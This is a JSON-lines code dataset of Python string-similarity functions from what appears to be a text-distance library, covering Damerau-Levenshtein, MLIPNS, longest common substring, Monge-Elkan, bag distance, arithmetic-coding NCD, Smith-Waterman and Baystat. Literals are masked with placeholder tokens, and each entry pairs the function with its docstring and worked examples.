{"signature": "def sim_damerau(src, tar, cost=(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)):", "body": "return DamerauLevenshtein().sim(src, tar, cost)<EOL>", "docstring": "Return the Damerau-Levenshtein similarity of two strings.\n\n    This is a wrapper of :py:meth:`DamerauLevenshtein.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    cost : tuple\n        A 4-tuple representing the cost of the four possible edits: inserts,\n        deletes, substitutions, and transpositions, respectively (by default:\n        (1, 1, 1, 1))\n\n    Returns\n    -------\n    float\n        The normalized Damerau-Levenshtein similarity\n\n    Examples\n    --------\n    >>> round(sim_damerau('cat', 'hat'), 12)\n    0.666666666667\n    >>> round(sim_damerau('Niall', 'Neil'), 12)\n    0.4\n    >>> sim_damerau('aluminum', 'Catalan')\n    0.125\n    >>> sim_damerau('ATCG', 'TAGC')\n    0.5", "id": "f6629:m2"}
{"signature": "def dist_abs(self, src, tar, cost=(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)):", "body": "ins_cost, del_cost, sub_cost, trans_cost = cost<EOL>if src == tar:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if not src:<EOL><INDENT>return len(tar) * ins_cost<EOL><DEDENT>if not tar:<EOL><INDENT>return len(src) * del_cost<EOL><DEDENT>if <NUM_LIT:2> * trans_cost < ins_cost + del_cost:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>+ '<STR_LIT>'<EOL>)<EOL><DEDENT>d_mat = np_zeros((len(src)) * (len(tar)), dtype=np_int).reshape(<EOL>(len(src), len(tar))<EOL>)<EOL>if src[<NUM_LIT:0>] != tar[<NUM_LIT:0>]:<EOL><INDENT>d_mat[<NUM_LIT:0>, <NUM_LIT:0>] = min(sub_cost, ins_cost + del_cost)<EOL><DEDENT>src_index_by_character = {src[<NUM_LIT:0>]: <NUM_LIT:0>}<EOL>for i in range(<NUM_LIT:1>, len(src)):<EOL><INDENT>del_distance = d_mat[i - <NUM_LIT:1>, <NUM_LIT:0>] + del_cost<EOL>ins_distance = (i + <NUM_LIT:1>) * del_cost + ins_cost<EOL>match_distance = i * del_cost + (<EOL><NUM_LIT:0> if src[i] == tar[<NUM_LIT:0>] else sub_cost<EOL>)<EOL>d_mat[i, <NUM_LIT:0>] = min(del_distance, ins_distance, match_distance)<EOL><DEDENT>for j in range(<NUM_LIT:1>, len(tar)):<EOL><INDENT>del_distance = (j + <NUM_LIT:1>) * ins_cost + del_cost<EOL>ins_distance = d_mat[<NUM_LIT:0>, j - <NUM_LIT:1>] + ins_cost<EOL>match_distance = j * ins_cost + (<EOL><NUM_LIT:0> if src[<NUM_LIT:0>] == tar[j] else sub_cost<EOL>)<EOL>d_mat[<NUM_LIT:0>, j] = min(del_distance, ins_distance, match_distance)<EOL><DEDENT>for i in range(<NUM_LIT:1>, len(src)):<EOL><INDENT>max_src_letter_match_index = <NUM_LIT:0> if src[i] == tar[<NUM_LIT:0>] else -<NUM_LIT:1><EOL>for j in range(<NUM_LIT:1>, len(tar)):<EOL><INDENT>candidate_swap_index = (<EOL>-<NUM_LIT:1><EOL>if tar[j] not in src_index_by_character<EOL>else src_index_by_character[tar[j]]<EOL>)<EOL>j_swap = max_src_letter_match_index<EOL>del_distance = d_mat[i - <NUM_LIT:1>, j] + del_cost<EOL>ins_distance = d_mat[i, j - <NUM_LIT:1>] + ins_cost<EOL>match_distance = d_mat[i - <NUM_LIT:1>, j - <NUM_LIT:1>]<EOL>if src[i] != tar[j]:<EOL><INDENT>match_distance += sub_cost<EOL><DEDENT>else:<EOL><INDENT>max_src_letter_match_index = j<EOL><DEDENT>if candidate_swap_index != -<NUM_LIT:1> and j_swap != -<NUM_LIT:1>:<EOL><INDENT>i_swap = candidate_swap_index<EOL>if i_swap == <NUM_LIT:0> and j_swap == <NUM_LIT:0>:<EOL><INDENT>pre_swap_cost = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>pre_swap_cost = d_mat[<EOL>max(<NUM_LIT:0>, i_swap - <NUM_LIT:1>), max(<NUM_LIT:0>, j_swap - <NUM_LIT:1>)<EOL>]<EOL><DEDENT>swap_distance = (<EOL>pre_swap_cost<EOL>+ (i - i_swap - <NUM_LIT:1>) * del_cost<EOL>+ (j - j_swap - <NUM_LIT:1>) * ins_cost<EOL>+ trans_cost<EOL>)<EOL><DEDENT>else:<EOL><INDENT>swap_distance = maxsize<EOL><DEDENT>d_mat[i, j] = min(<EOL>del_distance, ins_distance, match_distance, swap_distance<EOL>)<EOL><DEDENT>src_index_by_character[src[i]] = i<EOL><DEDENT>return d_mat[len(src) - <NUM_LIT:1>, len(tar) - <NUM_LIT:1>]<EOL>", "docstring": "Return the Damerau-Levenshtein distance between two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        cost : tuple\n            A 4-tuple representing the cost of the four possible edits:\n            inserts, deletes, substitutions, and transpositions, respectively\n            (by default: (1, 1, 1, 1))\n\n        Returns\n        -------\n        int (may return a float if cost has float values)\n            The Damerau-Levenshtein distance between src & tar\n\n        Raises\n        ------\n        ValueError\n            Unsupported cost assignment; the cost of two transpositions must\n            not be less than the cost of an insert plus a delete.\n\n        Examples\n        --------\n        >>> cmp = DamerauLevenshtein()\n        >>> cmp.dist_abs('cat', 'hat')\n        1\n        >>> cmp.dist_abs('Niall', 'Neil')\n        3\n        >>> cmp.dist_abs('aluminum', 'Catalan')\n        7\n        >>> cmp.dist_abs('ATCG', 'TAGC')\n        2", "id": "f6629:c0:m0"}
{"signature": "def dist(self, src, tar, cost=(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>ins_cost, del_cost = cost[:<NUM_LIT:2>]<EOL>return self.dist_abs(src, tar, cost) / (<EOL>max(len(src) * del_cost, len(tar) * ins_cost)<EOL>)<EOL>", "docstring": "Return the Damerau-Levenshtein similarity of two strings.\n\n        Damerau-Levenshtein distance normalized to the interval [0, 1].\n\n        The Damerau-Levenshtein distance is normalized by dividing the\n        Damerau-Levenshtein distance by the greater of\n        the number of characters in src times the cost of a delete and\n        the number of characters in tar times the cost of an insert.\n        For the case in which all operations have :math:`cost = 1`, this is\n        equivalent to the greater of the length of the two strings src & tar.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        cost : tuple\n            A 4-tuple representing the cost of the four possible edits:\n            inserts, deletes, substitutions, and transpositions, respectively\n            (by default: (1, 1, 1, 1))\n\n        Returns\n        -------\n        float\n            The normalized Damerau-Levenshtein distance\n\n        Examples\n        --------\n        >>> cmp = DamerauLevenshtein()\n        >>> round(cmp.dist('cat', 'hat'), 12)\n        0.333333333333\n        >>> round(cmp.dist('Niall', 'Neil'), 12)\n        0.6\n        >>> cmp.dist('aluminum', 'Catalan')\n        0.875\n        >>> cmp.dist('ATCG', 'TAGC')\n        0.5", "id": "f6629:c0:m1"}
{"signature": "def sim_mlipns(src, tar, threshold=<NUM_LIT>, max_mismatches=<NUM_LIT:2>):", "body": "return MLIPNS().sim(src, tar, threshold, max_mismatches)<EOL>", "docstring": "Return the MLIPNS similarity of two strings.\n\n    This is a wrapper for :py:meth:`MLIPNS.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    threshold : float\n        A number [0, 1] indicating the maximum similarity score, below which\n        the strings are considered 'similar' (0.25 by default)\n    max_mismatches : int\n        A number indicating the allowable number of mismatches to remove before\n        declaring two strings not similar (2 by default)\n\n    Returns\n    -------\n    float\n        MLIPNS similarity\n\n    Examples\n    --------\n    >>> sim_mlipns('cat', 'hat')\n    1.0\n    >>> sim_mlipns('Niall', 'Neil')\n    0.0\n    >>> sim_mlipns('aluminum', 'Catalan')\n    0.0\n    >>> sim_mlipns('ATCG', 'TAGC')\n    0.0", "id": "f6630:m0"}
{"signature": "def dist_mlipns(src, tar, threshold=<NUM_LIT>, max_mismatches=<NUM_LIT:2>):", "body": "return MLIPNS().dist(src, tar, threshold, max_mismatches)<EOL>", "docstring": "Return the MLIPNS distance between two strings.\n\n    This is a wrapper for :py:meth:`MLIPNS.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    threshold : float\n        A number [0, 1] indicating the maximum similarity score, below which\n        the strings are considered 'similar' (0.25 by default)\n    max_mismatches : int\n        A number indicating the allowable number of mismatches to remove before\n        declaring two strings not similar (2 by default)\n\n    Returns\n    -------\n    float\n        MLIPNS distance\n\n    Examples\n    --------\n    >>> dist_mlipns('cat', 'hat')\n    0.0\n    >>> dist_mlipns('Niall', 'Neil')\n    1.0\n    >>> dist_mlipns('aluminum', 'Catalan')\n    1.0\n    >>> dist_mlipns('ATCG', 'TAGC')\n    1.0", "id": "f6630:m1"}
{"signature": "def sim(self, src, tar, threshold=<NUM_LIT>, max_mismatches=<NUM_LIT:2>):", "body": "if tar == src:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>if not src or not tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>mismatches = <NUM_LIT:0><EOL>ham = Hamming().dist_abs(src, tar, diff_lens=True)<EOL>max_length = max(len(src), len(tar))<EOL>while src and tar and mismatches <= max_mismatches:<EOL><INDENT>if (<EOL>max_length < <NUM_LIT:1><EOL>or (<NUM_LIT:1> - (max_length - ham) / max_length) <= threshold<EOL>):<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>else:<EOL><INDENT>mismatches += <NUM_LIT:1><EOL>ham -= <NUM_LIT:1><EOL>max_length -= <NUM_LIT:1><EOL><DEDENT><DEDENT>if max_length < <NUM_LIT:1>:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>return <NUM_LIT:0.0><EOL>", "docstring": "Return the MLIPNS similarity of two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        threshold : float\n            A number [0, 1] indicating the maximum similarity score, below\n            which the strings are considered 'similar' (0.25 by default)\n        max_mismatches : int\n            A number indicating the allowable number of mismatches to remove\n            before declaring two strings not similar (2 by default)\n\n        Returns\n        -------\n        float\n            MLIPNS similarity\n\n        Examples\n        --------\n        >>> sim_mlipns('cat', 'hat')\n        1.0\n        >>> sim_mlipns('Niall', 'Neil')\n        0.0\n        >>> sim_mlipns('aluminum', 'Catalan')\n        0.0\n        >>> sim_mlipns('ATCG', 'TAGC')\n        0.0", "id": "f6630:c0:m0"}
{"signature": "def lcsstr(src, tar):", "body": "return LCSstr().lcsstr(src, tar)<EOL>", "docstring": "Return the longest common substring of two strings.\n\n    This is a wrapper for :py:meth:`LCSstr.lcsstr`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    str\n        The longest common substring\n\n    Examples\n    --------\n    >>> lcsstr('cat', 'hat')\n    'at'\n    >>> lcsstr('Niall', 'Neil')\n    'N'\n    >>> lcsstr('aluminum', 'Catalan')\n    'al'\n    >>> lcsstr('ATCG', 'TAGC')\n    'A'", "id": "f6631:m0"}
{"signature": "def sim_lcsstr(src, tar):", "body": "return LCSstr().sim(src, tar)<EOL>", "docstring": "Return the longest common substring similarity of two strings.\n\n    This is a wrapper for :py:meth:`LCSstr.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        LCSstr similarity\n\n    Examples\n    --------\n    >>> sim_lcsstr('cat', 'hat')\n    0.6666666666666666\n    >>> sim_lcsstr('Niall', 'Neil')\n    0.2\n    >>> sim_lcsstr('aluminum', 'Catalan')\n    0.25\n    >>> sim_lcsstr('ATCG', 'TAGC')\n    0.25", "id": "f6631:m1"}
{"signature": "def dist_lcsstr(src, tar):", "body": "return LCSstr().dist(src, tar)<EOL>", "docstring": "Return the longest common substring distance between two strings.\n\n    This is a wrapper for :py:meth:`LCSstr.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        LCSstr distance\n\n    Examples\n    --------\n    >>> dist_lcsstr('cat', 'hat')\n    0.33333333333333337\n    >>> dist_lcsstr('Niall', 'Neil')\n    0.8\n    >>> dist_lcsstr('aluminum', 'Catalan')\n    0.75\n    >>> dist_lcsstr('ATCG', 'TAGC')\n    0.75", "id": "f6631:m2"}
{"signature": "def lcsstr(self, src, tar):", "body": "lengths = np_zeros((len(src) + <NUM_LIT:1>, len(tar) + <NUM_LIT:1>), dtype=np_int)<EOL>longest, i_longest = <NUM_LIT:0>, <NUM_LIT:0><EOL>for i in range(<NUM_LIT:1>, len(src) + <NUM_LIT:1>):<EOL><INDENT>for j in range(<NUM_LIT:1>, len(tar) + <NUM_LIT:1>):<EOL><INDENT>if src[i - <NUM_LIT:1>] == tar[j - <NUM_LIT:1>]:<EOL><INDENT>lengths[i, j] = lengths[i - <NUM_LIT:1>, j - <NUM_LIT:1>] + <NUM_LIT:1><EOL>if lengths[i, j] > longest:<EOL><INDENT>longest = lengths[i, j]<EOL>i_longest = i<EOL><DEDENT><DEDENT>else:<EOL><INDENT>lengths[i, j] = <NUM_LIT:0><EOL><DEDENT><DEDENT><DEDENT>return src[i_longest - longest : i_longest]<EOL>", "docstring": "Return the longest common substring of two strings.\n\n        Longest common substring (LCSstr).\n\n        Based on the code from\n        https://en.wikibooks.org/wiki/Algorithm_Implementation/Strings/Longest_common_substring\n        :cite:`Wikibooks:2018`.\n        This is licensed Creative Commons: Attribution-ShareAlike 3.0.\n\n        Modifications include:\n\n            - conversion to a numpy array in place of a list of lists\n            - conversion to Python 2/3-safe range from xrange via six\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        str\n            The longest common substring\n\n        Examples\n        --------\n        >>> sstr = LCSstr()\n        >>> sstr.lcsstr('cat', 'hat')\n        'at'\n        >>> sstr.lcsstr('Niall', 'Neil')\n        'N'\n        >>> sstr.lcsstr('aluminum', 'Catalan')\n        'al'\n        >>> sstr.lcsstr('ATCG', 'TAGC')\n        'A'", "id": "f6631:c0:m0"}
{"signature": "def sim(self, src, tar):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>elif not src or not tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>return len(self.lcsstr(src, tar)) / max(len(src), len(tar))<EOL>", "docstring": "r\"\"\"Return the longest common substring similarity of two strings.\n\n        Longest common substring similarity (:math:`sim_{LCSstr}`).\n\n        This employs the LCS function to derive a similarity metric:\n        :math:`sim_{LCSstr}(s,t) = \\frac{|LCSstr(s,t)|}{max(|s|, |t|)}`\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        float\n            LCSstr similarity\n\n        Examples\n        --------\n        >>> sim_lcsstr('cat', 'hat')\n        0.6666666666666666\n        >>> sim_lcsstr('Niall', 'Neil')\n        0.2\n        >>> sim_lcsstr('aluminum', 'Catalan')\n        0.25\n        >>> sim_lcsstr('ATCG', 'TAGC')\n        0.25", "id": "f6631:c0:m1"}
{"signature": "def sim_monge_elkan(src, tar, sim_func=sim_levenshtein, symmetric=False):", "body": "return MongeElkan().sim(src, tar, sim_func, symmetric)<EOL>", "docstring": "Return the Monge-Elkan similarity of two strings.\n\n    This is a wrapper for :py:meth:`MongeElkan.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    sim_func : function\n        Rhe internal similarity metric to employ\n    symmetric : bool\n        Return a symmetric similarity measure\n\n    Returns\n    -------\n    float\n        Monge-Elkan similarity\n\n    Examples\n    --------\n    >>> sim_monge_elkan('cat', 'hat')\n    0.75\n    >>> round(sim_monge_elkan('Niall', 'Neil'), 12)\n    0.666666666667\n    >>> round(sim_monge_elkan('aluminum', 'Catalan'), 12)\n    0.388888888889\n    >>> sim_monge_elkan('ATCG', 'TAGC')\n    0.5", "id": "f6632:m0"}
{"signature": "def dist_monge_elkan(src, tar, sim_func=sim_levenshtein, symmetric=False):", "body": "return MongeElkan().dist(src, tar, sim_func, symmetric)<EOL>", "docstring": "Return the Monge-Elkan distance between two strings.\n\n    This is a wrapper for :py:meth:`MongeElkan.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    sim_func : function\n        The internal similarity metric to employ\n    symmetric : bool\n        Return a symmetric similarity measure\n\n    Returns\n    -------\n    float\n        Monge-Elkan distance\n\n    Examples\n    --------\n    >>> dist_monge_elkan('cat', 'hat')\n    0.25\n    >>> round(dist_monge_elkan('Niall', 'Neil'), 12)\n    0.333333333333\n    >>> round(dist_monge_elkan('aluminum', 'Catalan'), 12)\n    0.611111111111\n    >>> dist_monge_elkan('ATCG', 'TAGC')\n    0.5", "id": "f6632:m1"}
{"signature": "def sim(self, src, tar, sim_func=sim_levenshtein, symmetric=False):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>q_src = sorted(QGrams(src).elements())<EOL>q_tar = sorted(QGrams(tar).elements())<EOL>if not q_src or not q_tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>sum_of_maxes = <NUM_LIT:0><EOL>for q_s in q_src:<EOL><INDENT>max_sim = float('<STR_LIT>')<EOL>for q_t in q_tar:<EOL><INDENT>max_sim = max(max_sim, sim_func(q_s, q_t))<EOL><DEDENT>sum_of_maxes += max_sim<EOL><DEDENT>sim_em = sum_of_maxes / len(q_src)<EOL>if symmetric:<EOL><INDENT>sim_em = (sim_em + self.sim(tar, src, sim_func, False)) / <NUM_LIT:2><EOL><DEDENT>return sim_em<EOL>", "docstring": "Return the Monge-Elkan similarity of two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        sim_func : function\n            The internal similarity metric to employ\n        symmetric : bool\n            Return a symmetric similarity measure\n\n        Returns\n        -------\n        float\n            Monge-Elkan similarity\n\n        Examples\n        --------\n        >>> cmp = MongeElkan()\n        >>> cmp.sim('cat', 'hat')\n        0.75\n        >>> round(cmp.sim('Niall', 'Neil'), 12)\n        0.666666666667\n        >>> round(cmp.sim('aluminum', 'Catalan'), 12)\n        0.388888888889\n        >>> cmp.sim('ATCG', 'TAGC')\n        0.5", "id": "f6632:c0:m0"}
{"signature": "def bag(src, tar):", "body": "return Bag().dist_abs(src, tar)<EOL>", "docstring": "Return the bag distance between two strings.\n\n    This is a wrapper for :py:meth:`Bag.dist_abs`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    int\n        Bag distance\n\n    Examples\n    --------\n    >>> bag('cat', 'hat')\n    1\n    >>> bag('Niall', 'Neil')\n    2\n    >>> bag('aluminum', 'Catalan')\n    5\n    >>> bag('ATCG', 'TAGC')\n    0\n    >>> bag('abcdefg', 'hijklm')\n    7\n    >>> bag('abcdefg', 'hijklmno')\n    8", "id": "f6633:m0"}
{"signature": "def dist_bag(src, tar):", "body": "return Bag().dist(src, tar)<EOL>", "docstring": "Return the normalized bag distance between two strings.\n\n    This is a wrapper for :py:meth:`Bag.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Normalized bag distance\n\n    Examples\n    --------\n    >>> dist_bag('cat', 'hat')\n    0.3333333333333333\n    >>> dist_bag('Niall', 'Neil')\n    0.4\n    >>> dist_bag('aluminum', 'Catalan')\n    0.625\n    >>> dist_bag('ATCG', 'TAGC')\n    0.0", "id": "f6633:m1"}
{"signature": "def sim_bag(src, tar):", "body": "return Bag().sim(src, tar)<EOL>", "docstring": "Return the normalized bag similarity of two strings.\n\n    This is a wrapper for :py:meth:`Bag.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Normalized bag similarity\n\n    Examples\n    --------\n    >>> round(sim_bag('cat', 'hat'), 12)\n    0.666666666667\n    >>> sim_bag('Niall', 'Neil')\n    0.6\n    >>> sim_bag('aluminum', 'Catalan')\n    0.375\n    >>> sim_bag('ATCG', 'TAGC')\n    1.0", "id": "f6633:m2"}
{"signature": "def dist_abs(self, src, tar):", "body": "if tar == src:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>elif not src:<EOL><INDENT>return len(tar)<EOL><DEDENT>elif not tar:<EOL><INDENT>return len(src)<EOL><DEDENT>src_bag = Counter(src)<EOL>tar_bag = Counter(tar)<EOL>return max(<EOL>sum((src_bag - tar_bag).values()),<EOL>sum((tar_bag - src_bag).values()),<EOL>)<EOL>", "docstring": "Return the bag distance between two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        int\n            Bag distance\n\n        Examples\n        --------\n        >>> cmp = Bag()\n        >>> cmp.dist_abs('cat', 'hat')\n        1\n        >>> cmp.dist_abs('Niall', 'Neil')\n        2\n        >>> cmp.dist_abs('aluminum', 'Catalan')\n        5\n        >>> cmp.dist_abs('ATCG', 'TAGC')\n        0\n        >>> cmp.dist_abs('abcdefg', 'hijklm')\n        7\n        >>> cmp.dist_abs('abcdefg', 'hijklmno')\n        8", "id": "f6633:c0:m0"}
{"signature": "def dist(self, src, tar):", "body": "if tar == src:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>if not src or not tar:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>max_length = max(len(src), len(tar))<EOL>return self.dist_abs(src, tar) / max_length<EOL>", "docstring": "Return the normalized bag distance between two strings.\n\n        Bag distance is normalized by dividing by :math:`max( |src|, |tar| )`.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        float\n            Normalized bag distance\n\n        Examples\n        --------\n        >>> cmp = Bag()\n        >>> cmp.dist('cat', 'hat')\n        0.3333333333333333\n        >>> cmp.dist('Niall', 'Neil')\n        0.4\n        >>> cmp.dist('aluminum', 'Catalan')\n        0.625\n        >>> cmp.dist('ATCG', 'TAGC')\n        0.0", "id": "f6633:c0:m1"}
{"signature": "def dist_ncd_arith(src, tar, probs=None):", "body": "return NCDarith().dist(src, tar, probs)<EOL>", "docstring": "Return the NCD between two strings using arithmetic coding.\n\n    This is a wrapper for :py:meth:`NCDarith.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    probs : dict\n        A dictionary trained with :py:meth:`Arithmetic.train`\n\n    Returns\n    -------\n    float\n        Compression distance\n\n    Examples\n    --------\n    >>> dist_ncd_arith('cat', 'hat')\n    0.5454545454545454\n    >>> dist_ncd_arith('Niall', 'Neil')\n    0.6875\n    >>> dist_ncd_arith('aluminum', 'Catalan')\n    0.8275862068965517\n    >>> dist_ncd_arith('ATCG', 'TAGC')\n    0.6923076923076923", "id": "f6634:m0"}
{"signature": "def sim_ncd_arith(src, tar, probs=None):", "body": "return NCDarith().sim(src, tar, probs)<EOL>", "docstring": "Return the NCD similarity between two strings using arithmetic coding.\n\n    This is a wrapper for :py:meth:`NCDarith.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    probs : dict\n        A dictionary trained with :py:meth:`Arithmetic.train`\n\n    Returns\n    -------\n    float\n        Compression similarity\n\n    Examples\n    --------\n    >>> sim_ncd_arith('cat', 'hat')\n    0.4545454545454546\n    >>> sim_ncd_arith('Niall', 'Neil')\n    0.3125\n    >>> sim_ncd_arith('aluminum', 'Catalan')\n    0.1724137931034483\n    >>> sim_ncd_arith('ATCG', 'TAGC')\n    0.3076923076923077", "id": "f6634:m1"}
{"signature": "def __init__(self):", "body": "self._coder = Arithmetic()<EOL>", "docstring": "Initialize the arithmetic coder object.", "id": "f6634:c0:m0"}
{"signature": "def dist(self, src, tar, probs=None):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>if probs is None:<EOL><INDENT>self._coder.train(src + tar)<EOL><DEDENT>else:<EOL><INDENT>self._coder.set_probs(probs)<EOL><DEDENT>src_comp = self._coder.encode(src)[<NUM_LIT:1>]<EOL>tar_comp = self._coder.encode(tar)[<NUM_LIT:1>]<EOL>concat_comp = self._coder.encode(src + tar)[<NUM_LIT:1>]<EOL>concat_comp2 = self._coder.encode(tar + src)[<NUM_LIT:1>]<EOL>return (<EOL>min(concat_comp, concat_comp2) - min(src_comp, tar_comp)<EOL>) / max(src_comp, tar_comp)<EOL>", "docstring": "Return the NCD between two strings using arithmetic coding.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        probs : dict\n            A dictionary trained with :py:meth:`Arithmetic.train`\n\n        Returns\n        -------\n        float\n            Compression distance\n\n        Examples\n        --------\n        >>> cmp = NCDarith()\n        >>> cmp.dist('cat', 'hat')\n        0.5454545454545454\n        >>> cmp.dist('Niall', 'Neil')\n        0.6875\n        >>> cmp.dist('aluminum', 'Catalan')\n        0.8275862068965517\n        >>> cmp.dist('ATCG', 'TAGC')\n        0.6923076923076923", "id": "f6634:c0:m1"}
{"signature": "def smith_waterman(src, tar, gap_cost=<NUM_LIT:1>, sim_func=sim_ident):", "body": "return SmithWaterman().dist_abs(src, tar, gap_cost, sim_func)<EOL>", "docstring": "Return the Smith-Waterman score of two strings.\n\n    This is a wrapper for :py:meth:`SmithWaterman.dist_abs`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    gap_cost : float\n        The cost of an alignment gap (1 by default)\n    sim_func : function\n        A function that returns the similarity of two characters (identity\n        similarity by default)\n\n    Returns\n    -------\n    float\n        Smith-Waterman score\n\n    Examples\n    --------\n    >>> smith_waterman('cat', 'hat')\n    2.0\n    >>> smith_waterman('Niall', 'Neil')\n    1.0\n    >>> smith_waterman('aluminum', 'Catalan')\n    0.0\n    >>> smith_waterman('ATCG', 'TAGC')\n    1.0", "id": "f6635:m0"}
{"signature": "def dist_abs(self, src, tar, gap_cost=<NUM_LIT:1>, sim_func=sim_ident):", "body": "d_mat = np_zeros((len(src) + <NUM_LIT:1>, len(tar) + <NUM_LIT:1>), dtype=np_float32)<EOL>for i in range(len(src) + <NUM_LIT:1>):<EOL><INDENT>d_mat[i, <NUM_LIT:0>] = <NUM_LIT:0><EOL><DEDENT>for j in range(len(tar) + <NUM_LIT:1>):<EOL><INDENT>d_mat[<NUM_LIT:0>, j] = <NUM_LIT:0><EOL><DEDENT>for i in range(<NUM_LIT:1>, len(src) + <NUM_LIT:1>):<EOL><INDENT>for j in range(<NUM_LIT:1>, len(tar) + <NUM_LIT:1>):<EOL><INDENT>match = d_mat[i - <NUM_LIT:1>, j - <NUM_LIT:1>] + sim_func(src[i - <NUM_LIT:1>], tar[j - <NUM_LIT:1>])<EOL>delete = d_mat[i - <NUM_LIT:1>, j] - gap_cost<EOL>insert = d_mat[i, j - <NUM_LIT:1>] - gap_cost<EOL>d_mat[i, j] = max(<NUM_LIT:0>, match, delete, insert)<EOL><DEDENT><DEDENT>return d_mat[d_mat.shape[<NUM_LIT:0>] - <NUM_LIT:1>, d_mat.shape[<NUM_LIT:1>] - <NUM_LIT:1>]<EOL>", "docstring": "Return the Smith-Waterman score of two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        gap_cost : float\n            The cost of an alignment gap (1 by default)\n        sim_func : function\n            A function that returns the similarity of two characters (identity\n            similarity by default)\n\n        Returns\n        -------\n        float\n            Smith-Waterman score\n\n        Examples\n        --------\n        >>> cmp = SmithWaterman()\n        >>> cmp.dist_abs('cat', 'hat')\n        2.0\n        >>> cmp.dist_abs('Niall', 'Neil')\n        1.0\n        >>> cmp.dist_abs('aluminum', 'Catalan')\n        0.0\n        >>> cmp.dist_abs('ATCG', 'TAGC')\n        1.0", "id": "f6635:c0:m0"}
{"signature": "def sim_baystat(src, tar, min_ss_len=None, left_ext=None, right_ext=None):", "body": "return Baystat().sim(src, tar, min_ss_len, left_ext, right_ext)<EOL>", "docstring": "Return the Baystat similarity.\n\n    This is a wrapper for :py:meth:`Baystat.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    min_ss_len : int\n        Minimum substring length to be considered\n    left_ext :int\n        Left-side extension length\n    right_ext :int\n        Right-side extension length\n\n    Returns\n    -------\n    float\n        The Baystat similarity\n\n    Examples\n    --------\n    >>> round(sim_baystat('cat', 'hat'), 12)\n    0.666666666667\n    >>> sim_baystat('Niall', 'Neil')\n    0.4\n    >>> round(sim_baystat('Colin', 'Cuilen'), 12)\n    0.166666666667\n    >>> sim_baystat('ATCG', 'TAGC')\n    0.0", "id": "f6636:m0"}
